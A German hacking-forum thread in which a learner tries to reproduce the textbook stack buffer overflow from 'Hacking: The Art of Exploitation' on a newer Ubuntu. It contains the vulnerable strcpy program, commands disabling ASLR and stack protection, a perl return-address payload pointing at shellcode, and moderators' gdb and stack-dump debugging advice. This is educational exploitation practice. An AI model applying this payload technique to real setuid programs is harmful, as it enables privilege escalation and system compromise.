seteuid aber warum

tomovic

Stammuser
hallo,
es geht um folgenden Quellcode:

PHP:
#include <unistd.h>

void lowered_priviledge_function(unsigned char *ptr) {
   char buffer[50];

   seteuid(5);  // drop priviledges to games user

   strcpy(buffer, ptr);
}

int main(int argc, char *argv[]) {
   if (argc > 0)
      lowered_priviledge_function(argv[1]); 
}

Unter ubunnto 7.04
habe ich den Quellcode compiliert und folgendes ausgeführt:

./drop_pri $(perl -e 'print "\x Adresse zum Shellocde"x40')

und dann habe ich eine Shell.

Das gleiche habe ich ausprobiert und Ubunnto 13.04
echo 0 > /proc/sys/kernel/randomize_va_space
gcc -g -fno-stack-protector -z execstack -o drop_pri drop_pri.c

./drop_pri $(perl -e 'print "\x Adresse zum Shellocde"x40')
Zugriffsfehler

Warum geht das nicht?
Was will der Codeschreiber mit seteuid sagen?
 

bluez

Member of Honour
setueid() macht genau das was auch in dem Kommentar dazu steht. Siehe auch die passende man-page. Damit wird einem einfachen Benutzer kurzzeitig eine passende effektive ID zugewiesen, damit das Programm Zeugs im System tuen kann, was es sonst nicht tuen dürfte. ID 5 ist wahrscheinlich root. Warum er ausgerechnet 5 haben will, weiß ich nicht.

Sind bei dir in beiden Systemen die IDs 5 dieseleben Nutzer? (Nachzusehen indem du in der Konsole ps aux eingibst)
 

blub.txt

Member
Code:
[COLOR=#000000][COLOR=#0000BB]seteuid[/COLOR][COLOR=#007700]([/COLOR][COLOR=#0000BB]5[/COLOR][COLOR=#007700]);[/COLOR][/COLOR]
Ist nicht root, 5 ist irgendein niederprivilegierter User.
Code:
[COLOR=#000000][COLOR=#0000BB]seteuid[/COLOR][COLOR=#007700]([/COLOR][COLOR=#0000BB]0[/COLOR][COLOR=#007700]);[/COLOR][/COLOR]
Das sollte root sein.


@tomovic dein Code wird dazu verwendet eine Shell für einen User zu erstellen, für einen User ohne Root Access.

Alles Weitere steht in dem Buch:
Hacking: The Art of Exploitation
 
Zuletzt bearbeitet:

tomovic

Stammuser
hab was vergessen:

beim Compilieren kommt:
PHP:
gcc -g -fno-stack-protector -z execstack -o drop_privs drop_privs.c
drop_privs.c: In Funktion »lowered_priviledge_function«:
drop_privs.c:8:4: Warnung: Unverträgliche implizite Deklaration der eingebauten Funktion »strcpy« [standardmäßig aktiviert]
heute morgen ging mir durch den Kopf "gibt es überhaupt User id 5".
ich wollte den User games erstellen, ging leider nicht, nachdem ich game erstellt habe, sah ich folgendes:

PHP:
  	 	 	 	P { margin-bottom: 0.21cm; }   cat /etc/passwd 
 root:x:0:0:root:/root:/bin/bash 
 daemon:x:1:1:daemon:/usr/sbin:/bin/sh 
 bin:x:2:2:bin:/bin:/bin/sh 
 sys:x:3:3:sys:/dev:/bin/sh 
 sync:x:4:65534:sync:/bin:/bin/sync 
 games:x:5:60:games:/usr/games:/bin/sh 
.......viel blabla....
tomovic:x:1000:1000:tomycat,,,:/home/tomycat:/bin/bash 
 game:x:1001:1001:game,,,:/home/game:/bin/bash
in dem Qullcode habe ich aus 5 die 1001 gemacht.
geht nicht.
 

blub.txt

Member
Was hast du denn eigentlich genau vor?

Den Code den du benutzt ist aus diesem Buch:
http://www.amazon.de/Hacking-The-Exploitation-Jon-Erickson/dp/1593271441

Dieses Buch arbeitet mit einem Live System welches du hier herunterladen kannst:
Hacking: The Art of Exploitation, 2nd Edition -- Live CD | No Starch Press

Dieses Live System hat alle nötigen Programme, die nötigen offenen Schwachstellen und auch alle Benutzer angelegt um den Code zu verwenden.

http://imageshack.us/a/img405/5201/wxor.png
 
Zuletzt bearbeitet:

tomovic

Stammuser
@blub.txt
ich habe das Buch + Live CD

Dummerweise ist die CD alt und manipuliert, das wird im Buch auch auf s.541 auch beschrieben.

Mit der Live CD habe ich keine Deutsche Tastatur, kein X und kein WLAn.

Mein Ziel ist es mit Buch auf ein Aktuelles Ubunnto zuzugehen.
Deswegen will ich auch Das Prog. drop_privs.c testen.
Ich hoffe ihr hilft mir weiterhin.:)
 

blub.txt

Member
Du kannst die Live CD auch mit VirtualBox oder VMware ausführen.

PHP:
gcc -g -fno-stack-protector -z execstack -o drop_privs drop_privs.c
drop_privs.c: In Funktion »lowered_priviledge_function«:
drop_privs.c:8:4: Warnung: Unverträgliche implizite Deklaration der eingebauten Funktion »strcpy« [standardmäßig aktiviert]
bekommst du weg mit #include <string.h>

Ubuntu 13.04 hat weitaus mehr "Security/Features" als 7.04 es kann gut sein das dort etwas dazwischen funkt.

Aber vielleicht kann jemand anderes da mehr zu sagen.
 
Zuletzt bearbeitet:

bitmuncher

Moderator
Wenn du mit dem Buch auf ein aktuelles Ubuntu zugehen willst, fang am Besten hinten an zu lesen und hol dir noch Literatur zu Stack-Randomization, ESP-Protection usw. dazu. Sonst wirst du nämlich nicht weiter kommen. Wie bereits erwähnt wurde, hat ein aktuelles Ubuntu wesentlich mehr Sicherheitsfunktionen als die Live-CD des Buches. Diese musst du zusätzlich umgehen und das wird im Buch nicht erläutert. Das Buch soll Grundlagen vermitteln. Die weiterführenden Kenntnisse musst du dir anderweitig aneignen. Und das wird ein Ding der Unmöglichkeit, wenn du die Basics nicht beherrschst. Also verschwende nicht deine und unsere Zeit und nimm einfach die Live-CD des Buchs. Zum Ausprobieren der Beispiele brauchst du weder X noch WLAN und das Tastatur-Layout lässt sich einstellen. Sollte die CD auf deiner Hardware gar nicht funktionieren, pack dir eine VM auf deinen Rechner und starte die CD oder ein Iso der CD damit.
 

CDW

Moderator
Mitarbeiter
Welche GCC Version benutzt Du? Einfach mal wie oben kompilieren, nur -S -masm=intel hinzufügen:
Code:
gcc -g -fno-stack-protector -z execstack -S -masm=intel -o drop_pri drop_pri.c
Dann wird eine Assembly "drop_pri.s" erzeugt - diese hier anhängen (oder selbst anschauen ;) ).
Und was sind die konkreten Werte für
"'print "\x Adresse zum Shellocde"x40' unter Ubuntu 13?
Mein Perlish ist zwar nicht gut, aber ich tippe darauf, dass dann "\x12\x23\x56" 40x aneinandergehängt wird. Das ist böse, denn ein Buffer hat ja auch eine Länge - oft ist diese aus Performance/Sicherheitsgründen auch deutlich größer, als im Code angegeben. D.h, es kann durchaus sein, dass der Rücksprungwert zwar überschrieben wird, allerdings mit einer "verschobenen" Adresse:
statt "\x12\x34\x56\x78" steht da nun "\x78\x12\x34\x56". Klar, dass dann ein Zugriffsfehler auftritt, wenn versucht wird, an diese Adresse zu springen.

Btw: ich sehe gerade, dass im Code "char buffer[50]" steht: würde der Compiler das 1 zu 1 übersetzen, würde das simple
Code:
./drop_pri $(perl -e 'print "\x12x\34\56\78"x40')
in den meisten Fällen auch unter Ubuntu 7 nicht funktionieren, denn 50 ist durch 4 bzw. 8 nicht teilbar, die Rücksprungadresse wird also "verschoben" überschrieben ;)
 

bitmuncher

Moderator
Warum man Buffer mit NOPs polstert, ist imo in dem Buch ausreichend erklärt. Wem es im Buch zu kompliziert ist, der kann sich als Sekundärliteratur "Smashing the stack for fun and profit" anschauen. Bei einem aktuellen Ubuntu bleibt dennoch das Problem bestehen, dass selbst bei deaktiviertem Stack-Schutz in der Binary das Stack-Randomization des Kernels noch greift.
 

tomovic

Stammuser
@blub.txt
danke für den header.
Nee, ich will 13.4 ubunto nutzen.Die CD + Buch habe ich schon druchprobiert.

@bitmuncher
Das was früher gefunkt hat, das interesiert mich nicht.:) Ich will dir nicht zu nahe treten, aber es ist doch schön wenn wir gemeinsam über ein Problem diskotieren.
echo 0 > /proc/sys/kernel/randomize_va_space <----nutze ich immer.

@CDW
PHP:
 export SHELLCODE=$(cat helloworld3)

./getenvaddr SHELLCODE ./drop_privs

SHELLCODE will be at 0xbffff8c6

 ./drop_privs $(perl -e 'print "\xc6\xf8\xff\xbf"x40')
Speicherzugriffsfehler
ich werde deinen Tip nachgehen
 

tomovic

Stammuser
...Nachtrag
meine Gcc:

gcc --version
gcc (Ubuntu/Linaro 4.7.3-1ubuntu1) 4.7.3
Copyright (C) 2012 Free Software Foundation, Inc.
Dies ist freie Software; die Kopierbedingungen stehen in den Quellen. Es
gibt KEINE Garantie; auch nicht für MARKTGÄNGIGKEIT oder FÜR SPEZIELLE ZWECKE.


gcc -g -fno-stack-protector -z execstack -S -masm=intel -o drop_pri drop_pri.c
Es wird keine .s erzeugt
 

bitmuncher

Moderator
Das was früher gefunkt hat, das interesiert mich nicht.:) Ich will dir nicht zu nahe treten, aber es ist doch schön wenn wir gemeinsam über ein Problem diskotieren.
echo 0 > /proc/sys/kernel/randomize_va_space <----nutze ich immer.
Sollte es aber, denn es stellt bei BO-Exploits die Grundlage dar. Wenn du nicht verstehst wie ein BO-Exploit ohne Schutzmechanismen funktioniert, wirst du den Rest nur sehr umständlich erlernen. Stack-Randomization war in meinem Beitrag nur als Beispiel anzusehen. Wie sieht es aus mit Fortify Source, Non-executable memory, Laden der SOs schon beim Programmstart (nicht beim Anfordern der entsprechenden Funktion wie üblich) und Pointer Obfuscation? Willst du das alles bereits umgehen ohne jemals ein "schutzloses" Beispiel-Exploit fertig bekommen zu haben?

Ich will dir auch nicht zu nahe treten, aber du wirst dir viel Zeit sparen, wenn du bei den Grundlagen anfängst und dich dann vorarbeitest. Du beherrschst ja noch nicht mal den Umgang mit deinem Compiler oder gar mit der verwendeten Programmiersprache.

gcc -g -fno-stack-protector -z execstack -S -masm=intel -o drop_pri drop_pri.c
Es wird keine .s erzeugt
Natürlich nicht, wenn du eine andere Output-Datei angibst. :rolleyes: Tipp einfach mal 'man gcc' in dein Terminal ein und schau dir an, was die Parameter tun, die du verwendest.

Durch blindes abtippen oder Copy&Paste wirst du jedenfalls nichts lernen.
 

tomovic

Stammuser
ja und nein.
ok, ja ich hätte die gcc-man anschauen können, :)
gcc -g -fno-stack-protector -z execstack -c -fverbose-asm -save-temps -o drop_privs drop_privs.c

Ich weis schon wie man ein Shellcode, BO, ausnützt. Aber manchmal stehe ich auf dem Schauch, wie jetzt.

So ein blutiger an Programmieranfänger bin auch wiederrum nicht, wenn ich im Jahr 2012 über 1000 Progammierstunden c++ angelegt habe.

PHP:
    .file    "drop_privs.c"
# GNU C (Ubuntu/Linaro 4.7.3-1ubuntu1) version 4.7.3 (i686-linux-gnu)
#    compiled by GNU C version 4.7.3, GMP version 5.0.5, MPFR version 3.1.1-p2, MPC version 0.9
# GGC heuristics: --param ggc-min-expand=100 --param ggc-min-heapsize=131072
# angegebene Optionen:  -fpreprocessed drop_privs.i -mtune=generic
# -march=i686 -auxbase-strip drop_privs -g -fno-stack-protector
# -fverbose-asm
# angeschaltete Optionen:  -fasynchronous-unwind-tables -fauto-inc-dec
# -fbranch-count-reg -fcommon -fdebug-types-section
# -fdelete-null-pointer-checks -fdwarf2-cfi-asm -fearly-inlining
# -feliminate-unused-debug-types -ffunction-cse -fgcse-lm -fgnu-runtime
# -fident -finline-atomics -fira-share-save-slots -fira-share-spill-slots
# -fivopts -fkeep-static-consts -fleading-underscore -fmath-errno
# -fmerge-debug-strings -fmove-loop-invariants -fpcc-struct-return
# -fpeephole -fprefetch-loop-arrays -fsched-critical-path-heuristic
# -fsched-dep-count-heuristic -fsched-group-heuristic -fsched-interblock
# -fsched-last-insn-heuristic -fsched-rank-heuristic -fsched-spec
# -fsched-spec-insn-heuristic -fsched-stalled-insns-dep -fshow-column
# -fsigned-zeros -fsplit-ivs-in-unroller -fstrict-volatile-bitfields
# -ftrapping-math -ftree-coalesce-vars -ftree-cselim -ftree-forwprop
# -ftree-loop-if-convert -ftree-loop-im -ftree-loop-ivcanon
# -ftree-loop-optimize -ftree-parallelize-loops= -ftree-phiprop -ftree-pta
# -ftree-reassoc -ftree-scev-cprop -ftree-slp-vectorize
# -ftree-vect-loop-version -funit-at-a-time -funwind-tables
# -fvect-cost-model -fverbose-asm -fzero-initialized-in-bss -m32 -m80387
# -m96bit-long-double -maccumulate-outgoing-args -malign-stringops
# -mfancy-math-387 -mfp-ret-in-387 -mglibc -mieee-fp -mno-red-zone
# -mno-sse4 -mpush-args -msahf -mtls-direct-seg-refs

    .text
.Ltext0:
    .globl    lowered_priviledge_function
    .type    lowered_priviledge_function, @function
lowered_priviledge_function:
.LFB0:
    .file 1 "drop_privs.c"
    .loc 1 4 0
    .cfi_startproc
    pushl    %ebp    #
.LCFI0:
    .cfi_def_cfa_offset 8
    .cfi_offset 5, -8
    movl    %esp, %ebp    #,
.LCFI1:
    .cfi_def_cfa_register 5
    subl    $88, %esp    #,
    .loc 1 7 0
    movl    $5, (%esp)    #,
    call    seteuid    #
    .loc 1 9 0
    movl    8(%ebp), %eax    # ptr, tmp59
    movl    %eax, 4(%esp)    # tmp59,
    leal    -58(%ebp), %eax    #, tmp60
    movl    %eax, (%esp)    # tmp60,
    call    strcpy    #
    .loc 1 10 0
    leave
.LCFI2:
    .cfi_restore 5
    .cfi_def_cfa 4, 4
    ret
    .cfi_endproc
.LFE0:
    .size    lowered_priviledge_function, .-lowered_priviledge_function
    .globl    main
    .type    main, @function
main:
.LFB1:
    .loc 1 12 0
    .cfi_startproc
    pushl    %ebp    #
.LCFI3:
    .cfi_def_cfa_offset 8
    .cfi_offset 5, -8
    movl    %esp, %ebp    #,
.LCFI4:
    .cfi_def_cfa_register 5
    andl    $-16, %esp    #,
    subl    $16, %esp    #,
    .loc 1 13 0
    cmpl    $0, 8(%ebp)    #, argc
    jle    .L4    #,
    .loc 1 14 0
    movl    12(%ebp), %eax    # argv, tmp62
    addl    $4, %eax    #, D.2194
    movl    (%eax), %eax    # *D.2194_3, D.2195
    movl    %eax, (%esp)    # D.2195,
    call    lowered_priviledge_function    #
.L4:
    .loc 1 15 0
    leave
.LCFI5:
    .cfi_restore 5
    .cfi_def_cfa 4, 4
    ret
    .cfi_endproc
.LFE1:
    .size    main, .-main
.Letext0:
    .section    .debug_info,"",@progbits
.Ldebug_info0:
    .long    0x10b
    .value    0x2
    .long    .Ldebug_abbrev0
    .byte    0x4
    .uleb128 0x1
    .long    .LASF13
    .byte    0x1
    .long    .LASF14
    .long    .LASF15
    .long    .Ltext0
    .long    .Letext0
    .long    .Ldebug_line0
    .uleb128 0x2
    .byte    0x4
    .byte    0x7
    .long    .LASF0
    .uleb128 0x2
    .byte    0x4
    .byte    0x7
    .long    .LASF1
    .uleb128 0x2
    .byte    0x2
    .byte    0x7
    .long    .LASF2
    .uleb128 0x3
    .byte    0x4
    .byte    0x5
    .string    "int"
    .uleb128 0x2
    .byte    0x1
    .byte    0x6
    .long    .LASF3
    .uleb128 0x2
    .byte    0x1
    .byte    0x8
    .long    .LASF4
    .uleb128 0x2
    .byte    0x4
    .byte    0x7
    .long    .LASF5
    .uleb128 0x2
    .byte    0x1
    .byte    0x6
    .long    .LASF6
    .uleb128 0x2
    .byte    0x2
    .byte    0x5
    .long    .LASF7
    .uleb128 0x2
    .byte    0x8
    .byte    0x5
    .long    .LASF8
    .uleb128 0x2
    .byte    0x8
    .byte    0x7
    .long    .LASF9
    .uleb128 0x2
    .byte    0x4
    .byte    0x5
    .long    .LASF10
    .uleb128 0x4
    .byte    0x4
    .long    0x41
    .uleb128 0x5
    .byte    0x1
    .long    .LASF16
    .byte    0x1
    .byte    0x4
    .byte    0x1
    .long    .LFB0
    .long    .LFE0
    .long    .LLST0
    .byte    0x1
    .long    0xb7
    .uleb128 0x6
    .string    "ptr"
    .byte    0x1
    .byte    0x4
    .long    0xb7
    .byte    0x2
    .byte    0x91
    .sleb128 0
    .uleb128 0x7
    .long    .LASF17
    .byte    0x1
    .byte    0x5
    .long    0xbd
    .byte    0x3
    .byte    0x91
    .sleb128 -66
    .byte    0
    .uleb128 0x4
    .byte    0x4
    .long    0x48
    .uleb128 0x8
    .long    0x41
    .long    0xcd
    .uleb128 0x9
    .long    0x2c
    .byte    0x31
    .byte    0
    .uleb128 0xa
    .byte    0x1
    .long    .LASF18
    .byte    0x1
    .byte    0xc
    .byte    0x1
    .long    0x3a
    .long    .LFB1
    .long    .LFE1
    .long    .LLST1
    .byte    0x1
    .long    0x108
    .uleb128 0xb
    .long    .LASF11
    .byte    0x1
    .byte    0xc
    .long    0x3a
    .byte    0x2
    .byte    0x91
    .sleb128 0
    .uleb128 0xb
    .long    .LASF12
    .byte    0x1
    .byte    0xc
    .long    0x108
    .byte    0x2
    .byte    0x91
    .sleb128 4
    .byte    0
    .uleb128 0x4
    .byte    0x4
    .long    0x79
    .byte    0
    .section    .debug_abbrev,"",@progbits
.Ldebug_abbrev0:
    .uleb128 0x1
    .uleb128 0x11
    .byte    0x1
    .uleb128 0x25
    .uleb128 0xe
    .uleb128 0x13
    .uleb128 0xb
    .uleb128 0x3
    .uleb128 0xe
    .uleb128 0x1b
    .uleb128 0xe
    .uleb128 0x11
    .uleb128 0x1
    .uleb128 0x12
    .uleb128 0x1
    .uleb128 0x10
    .uleb128 0x6
    .byte    0
    .byte    0
    .uleb128 0x2
    .uleb128 0x24
    .byte    0
    .uleb128 0xb
    .uleb128 0xb
    .uleb128 0x3e
    .uleb128 0xb
    .uleb128 0x3
    .uleb128 0xe
    .byte    0
    .byte    0
    .uleb128 0x3
    .uleb128 0x24
    .byte    0
    .uleb128 0xb
    .uleb128 0xb
    .uleb128 0x3e
    .uleb128 0xb
    .uleb128 0x3
    .uleb128 0x8
    .byte    0
    .byte    0
    .uleb128 0x4
    .uleb128 0xf
    .byte    0
    .uleb128 0xb
    .uleb128 0xb
    .uleb128 0x49
    .uleb128 0x13
    .byte    0
    .byte    0
    .uleb128 0x5
    .uleb128 0x2e
    .byte    0x1
    .uleb128 0x3f
    .uleb128 0xc
    .uleb128 0x3
    .uleb128 0xe
    .uleb128 0x3a
    .uleb128 0xb
    .uleb128 0x3b
    .uleb128 0xb
    .uleb128 0x27
    .uleb128 0xc
    .uleb128 0x11
    .uleb128 0x1
    .uleb128 0x12
    .uleb128 0x1
    .uleb128 0x40
    .uleb128 0x6
    .uleb128 0x2116
    .uleb128 0xc
    .uleb128 0x1
    .uleb128 0x13
    .byte    0
    .byte    0
    .uleb128 0x6
    .uleb128 0x5
    .byte    0
    .uleb128 0x3
    .uleb128 0x8
    .uleb128 0x3a
    .uleb128 0xb
    .uleb128 0x3b
    .uleb128 0xb
    .uleb128 0x49
    .uleb128 0x13
    .uleb128 0x2
    .uleb128 0xa
    .byte    0
    .byte    0
    .uleb128 0x7
    .uleb128 0x34
    .byte    0
    .uleb128 0x3
    .uleb128 0xe
    .uleb128 0x3a
    .uleb128 0xb
    .uleb128 0x3b
    .uleb128 0xb
    .uleb128 0x49
    .uleb128 0x13
    .uleb128 0x2
    .uleb128 0xa
    .byte    0
    .byte    0
    .uleb128 0x8
    .uleb128 0x1
    .byte    0x1
    .uleb128 0x49
    .uleb128 0x13
    .uleb128 0x1
    .uleb128 0x13
    .byte    0
    .byte    0
    .uleb128 0x9
    .uleb128 0x21
    .byte    0
    .uleb128 0x49
    .uleb128 0x13
    .uleb128 0x2f
    .uleb128 0xb
    .byte    0
    .byte    0
    .uleb128 0xa
    .uleb128 0x2e
    .byte    0x1
    .uleb128 0x3f
    .uleb128 0xc
    .uleb128 0x3
    .uleb128 0xe
    .uleb128 0x3a
    .uleb128 0xb
    .uleb128 0x3b
    .uleb128 0xb
    .uleb128 0x27
    .uleb128 0xc
    .uleb128 0x49
    .uleb128 0x13
    .uleb128 0x11
    .uleb128 0x1
    .uleb128 0x12
    .uleb128 0x1
    .uleb128 0x40
    .uleb128 0x6
    .uleb128 0x2116
    .uleb128 0xc
    .uleb128 0x1
    .uleb128 0x13
    .byte    0
    .byte    0
    .uleb128 0xb
    .uleb128 0x5
    .byte    0
    .uleb128 0x3
    .uleb128 0xe
    .uleb128 0x3a
    .uleb128 0xb
    .uleb128 0x3b
    .uleb128 0xb
    .uleb128 0x49
    .uleb128 0x13
    .uleb128 0x2
    .uleb128 0xa
    .byte    0
    .byte    0
    .byte    0
    .section    .debug_loc,"",@progbits
.Ldebug_loc0:
.LLST0:
    .long    .LFB0-.Ltext0
    .long    .LCFI0-.Ltext0
    .value    0x2
    .byte    0x74
    .sleb128 4
    .long    .LCFI0-.Ltext0
    .long    .LCFI1-.Ltext0
    .value    0x2
    .byte    0x74
    .sleb128 8
    .long    .LCFI1-.Ltext0
    .long    .LCFI2-.Ltext0
    .value    0x2
    .byte    0x75
    .sleb128 8
    .long    .LCFI2-.Ltext0
    .long    .LFE0-.Ltext0
    .value    0x2
    .byte    0x74
    .sleb128 4
    .long    0
    .long    0
.LLST1:
    .long    .LFB1-.Ltext0
    .long    .LCFI3-.Ltext0
    .value    0x2
    .byte    0x74
    .sleb128 4
    .long    .LCFI3-.Ltext0
    .long    .LCFI4-.Ltext0
    .value    0x2
    .byte    0x74
    .sleb128 8
    .long    .LCFI4-.Ltext0
    .long    .LCFI5-.Ltext0
    .value    0x2
    .byte    0x75
    .sleb128 8
    .long    .LCFI5-.Ltext0
    .long    .LFE1-.Ltext0
    .value    0x2
    .byte    0x74
    .sleb128 4
    .long    0
    .long    0
    .section    .debug_aranges,"",@progbits
    .long    0x1c
    .value    0x2
    .long    .Ldebug_info0
    .byte    0x4
    .byte    0
    .value    0
    .value    0
    .long    .Ltext0
    .long    .Letext0-.Ltext0
    .long    0
    .long    0
    .section    .debug_line,"",@progbits
.Ldebug_line0:
    .section    .debug_str,"MS",@progbits,1
.LASF8:
    .string    "long long int"
.LASF0:
    .string    "unsigned int"
.LASF15:
    .string    "/home/tomycat/Dokumente/hack"
.LASF18:
    .string    "main"
.LASF13:
    .string    "GNU C 4.7.3"
.LASF5:
    .string    "long unsigned int"
.LASF9:
    .string    "long long unsigned int"
.LASF16:
    .string    "lowered_priviledge_function"
.LASF4:
    .string    "unsigned char"
.LASF3:
    .string    "char"
.LASF10:
    .string    "long int"
.LASF7:
    .string    "short int"
.LASF11:
    .string    "argc"
.LASF2:
    .string    "short unsigned int"
.LASF6:
    .string    "signed char"
.LASF14:
    .string    "drop_privs.c"
.LASF17:
    .string    "buffer"
.LASF1:
    .string    "sizetype"
.LASF12:
    .string    "argv"
    .ident    "GCC: (Ubuntu/Linaro 4.7.3-1ubuntu1) 4.7.3"
    .section    .note.GNU-stack,"",@progbits
 

bitmuncher

Moderator
Und ich werfe nochmal das Stichwort NOPs in den Raum. CDW hat dir erklärt warum dein BO einfach nur zu einem SegFault-Fehler führt und dein Shellcode nicht korrekt ausgeführt wird. Das Mittel dagegen heisst NOPs.

Im übrigen besagt die Anzahl an Programmierstunden gar nichts. Wenn ich 1000 Stunden printf()-Ausgaben schreibe oder Code abtippe, bin ich noch lange kein Progammierer. Allerdings sollte man nach 1000 Stunden coden eigentlich wissen wie eine implizite Deklaration einer Funktion zustande kommen kann und wie man sie explizit macht.
 

CDW

Moderator
Mitarbeiter
Warum man Buffer mit NOPs polstert
In dem Fall meinte ich eigentlich, dass die Rücksprungadresse ganz simpel mit einem "falschen" Wert überschrieben wird, weil hier einfach 4 Bytes 40-mal genommen werden und in den Buffer gehen. Zwar unwahrscheinlich, da der Buffer dann kein vielfaches von 4 ist, aber nicht unmöglich. Wobei sich jetzt zumindest die Frage nach dem Shellcode geklärt hat.

Zum Assembly-listing:
Code:
subl    $88, %esp
Der Buffer ein Vielfaches von 4, also sollte es passen.
---------

Ein Debugger würde hier wohl viele Fragen von vornherein verhindern:
Code:
gdb --args ./drop_priv (die restlichen Argumente)
>start
>show args (damit wir sehen, dass diese tatsächlich übergeben wurden)
>info args
>step (oder u und Enter)
> step (bis man in der lowered-Funktion ist)
>display/i $pc
>info frame
>info locals
>info stack
>step (bis man bei strcpy ist)
jetzt wird es interessant:
>info frame
>info locals
>info stack
damit man sieht, ob hier überhaupt etwas überschrieben wurde.
Und dann mittels
>si
die Reise in den Shellcode antreten.
Vorher lässt man sich unbedingt den Speicherinhalt an ESP zeigen:
print $esp
x *{$esp}
und setzt diesen notfalls auf den "richtigen" Wert
>set {int}*{$esp}=0xShellcodeAddr
Ggf. aber vorher mit
Code:
x 0xSHELLCODE_ADRESSE
mal prüfen, ob es tatsächlich existiert. Jedenfalls wird man die Stelle, an der es "nicht mehr klappt" so deutlich genauer lokalisieren können.


PS:
Zudem auch mal prüfen, ob randomize_va_space tatsächlich auf 0 gesetzt wurde:
cat /proc/sys/kernel/randomize_va_space

PPS:
ganz vergessen:
auch in /proc/pid/maps sollte man mal reinschauen, um zu sehen, welche Speicherbereiche es gibt und wie die Zugriffsrechte gesetzt sind. Dazu ggf. ein "getchar()" im Code hinzufügen, damit das Programm nicht durchläuft, und dann:
Code:
ps -aux | grep drop
less /proc/<id>/maps
oder so ähnlich.
==============
Edit:
Eigentlich geht es eher darum, nicht auf Sand zu bauen ;). Im Moment sind zu viele Annahmen im Spiel.

1. Sichergehen, dass der Shellcode überhaupt angesprungen werden kann.
Also ob an der besagten Adresse überhaupt etwas liegt (idealerweise der Shellcode)
2. Sichergehen, dass die Rücksprungadresse überschrieben wird und keine weitere Technik des Compilers dazwischenfunkt.
3. Sichergehen, dass der Shellcode angesprungen wird (den letzen Schritt wird man natürlich nur in einem Debugger sehen können,
aber das "drum herum" geht auch ohne):
Code:
void show(const uint8_t *buf, size_t len)
{
  size_t i;
  for (i = 0; i < len; i++) {
      if (i % 16 == 0) putc('\n', stdout);
      printf("%02x ", buf[i]);
  }    
  putc('\n', stdout);
}
und dann:
Code:
#include <unistd.h>
#include <string.h>
#include <stdint.h>
#include <stdio.h>

void show(const uint8_t *buf, size_t len)
{
  size_t i;
  for (i = 0; i < len; i++) {
      if (i % 16 == 0) putc('\n', stdout);
      printf("%02x ", buf[i]);
  }    
  putc('\n', stdout);
}

void lowered_priviledge_function(unsigned char *ptr) {
   char buffer[50];
  puts("Stack+buffer:\n");
  show(buffer - 20, 80);
  getchar();
   //seteuid(5);  // drop priviledges to games user
   
  strcpy(buffer, ptr);
  puts("Stack+buffer after strcpy:\n");
  show(buffer - 20, 80);
  getchar();
}

int main(int argc, char *argv[]) {
  puts("Shellcode:\n");
  show((void*)0x7fffffffe720, 40);
  getchar();
   if (argc > 0)
      lowered_priviledge_function(argv[1]); 
   return 0;
}
4. Sichergehen, dass das OS es auch erlaubt.
Z.B mit solchen "Tricks":
Code:
uint16_t *p = 0xshelcodeaddr;
  *p = 0xfeeb;
und im gdb:
display/i $pc
set $eip=0xshellcodeaddr
(0xEB 0xFE ist ein Opcode für einen relativ adressierten Sprung, label: JMP label. Also ein einfaches "while(true);")
oder gleich im Code selbst:
Code:
uint16_t *p = 0x7fffffffe724;
  *p = 0xfeeb;
  void(*func_pointer)(void);
  func_pointer = p;
  func_pointer();
Damit erfährt man zumindest, dass auf diesen Speicher geschrieben werden kann und dieser auch ausführbar ist.
 

tomovic

Stammuser
maga THX,
ich habe alles mal 1 zu 1 abgetippt.
PHP:
gdb --args ./drop_privs AAAAAAAAAAAAAAAAAAAA
GNU gdb (GDB) 7.5.91.20130417-cvs-ubuntu
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/tomovic/Dokumente/hack/drop_privs...done.
(gdb) start
Temporärer Haltepunkt 1 at 0x804847b: file drop_privs.c, line 13.
Starting program: /home/tomycat/Dokumente/hack/drop_privs AAAAAAAAAAAAAAAAAAAA

Temporary breakpoint 1, main (argc=2, argv=0xbffff744) at drop_privs.c:13
13       if (argc > 0)
(gdb) show args
Argument list to give program being debugged when it is started is "AAAAAAAAAAAAAAAAAAAA".
(gdb) info args
argc = 2
argv = 0xbffff744
(gdb) step
14          lowered_priviledge_function(argv[1]); 
(gdb) step
lowered_priviledge_function (ptr=0xbffff88a 'A' <repeats 20 times>) at drop_privs.c:7
7      seteuid(5);  // drop priviledges to games user
(gdb) display/i $pc
1: x/i $pc
=> 0x8048452 <lowered_priviledge_function+6>:    movl   $0x5,(%esp)
(gdb) info frame
Stack level 0, frame at 0xbffff690:
 eip = 0x8048452 in lowered_priviledge_function (drop_privs.c:7); saved eip 0x8048491
 called by frame at 0xbffff6b0
 source language c.
 Arglist at 0xbffff688, args: ptr=0xbffff88a 'A' <repeats 20 times>
 Locals at 0xbffff688, Previous frame's sp is 0xbffff690
 Saved registers:
  ebp at 0xbffff688, eip at 0xbffff68c
(gdb) info locals
buffer = "\000\000\230+\342\267X\310\375\267b\370\377\277\000P\374\267\240\204\004\bP\203\004\b\000\000\000\000݂\004\b\344S\374\267\002\000\000\000\000\240\004\b\362\204\004\b"
(gdb) info stack
#0  lowered_priviledge_function (ptr=0xbffff88a 'A' <repeats 20 times>) at drop_privs.c:7
#1  0x08048491 in main (argc=2, argv=0xbffff744) at drop_privs.c:14
(gdb) info stack
#0  lowered_priviledge_function (ptr=0xbffff88a 'A' <repeats 20 times>) at drop_privs.c:7
#1  0x08048491 in main (argc=2, argv=0xbffff744) at drop_privs.c:14
(gdb) step
9       strcpy(buffer, ptr);
1: x/i $pc
=> 0x804845e <lowered_priviledge_function+18>:    mov    0x8(%ebp),%eax
(gdb) info frame
Stack level 0, frame at 0xbffff690:
 eip = 0x804845e in lowered_priviledge_function (drop_privs.c:9); saved eip 0x8048491
 called by frame at 0xbffff6b0
 source language c.
 Arglist at 0xbffff688, args: ptr=0xbffff88a 'A' <repeats 20 times>
 Locals at 0xbffff688, Previous frame's sp is 0xbffff690
 Saved registers:
  ebp at 0xbffff688, eip at 0xbffff68c
(gdb) info locals
buffer = "\000\000\230+\342\267X\310\375\267b\370\377\277\000P\374\267\240\204\004\bP\203\004\b\000\000\000\000݂\004\b\344S\374\267\002\000\000\000\000\240\004\b\362\204\004\b"
(gdb) info stack
